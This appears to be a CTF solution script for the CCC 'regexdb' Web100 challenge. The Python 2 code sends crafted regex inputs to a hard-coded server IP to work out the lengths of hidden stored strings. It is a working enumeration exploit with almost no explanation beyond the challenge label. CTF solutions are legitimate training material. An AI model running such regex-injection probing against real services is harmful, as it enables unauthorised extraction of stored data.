CCC CTF, Web100 regexdb

regexdb_length.py

#!/usr/bin/env python2

# -*- coding: utf-8 -*-

import urllib


url = 'http://94.45.252.233/'
for i in range(100):    # from 0 to 100.
    params = urllib.urlencode({'input': '/(^.{'+str(i+1)+'}$)/'})   # search the length of string.
    f = urllib.urlopen(url, params)
    for line in f.readlines():
        if line.find('Results') != -1:                                                   # kichanyai...
            print "Length of strings:%3d"%(i+1)+": "+line[16:].replace("</div>",""),     # kichanyai...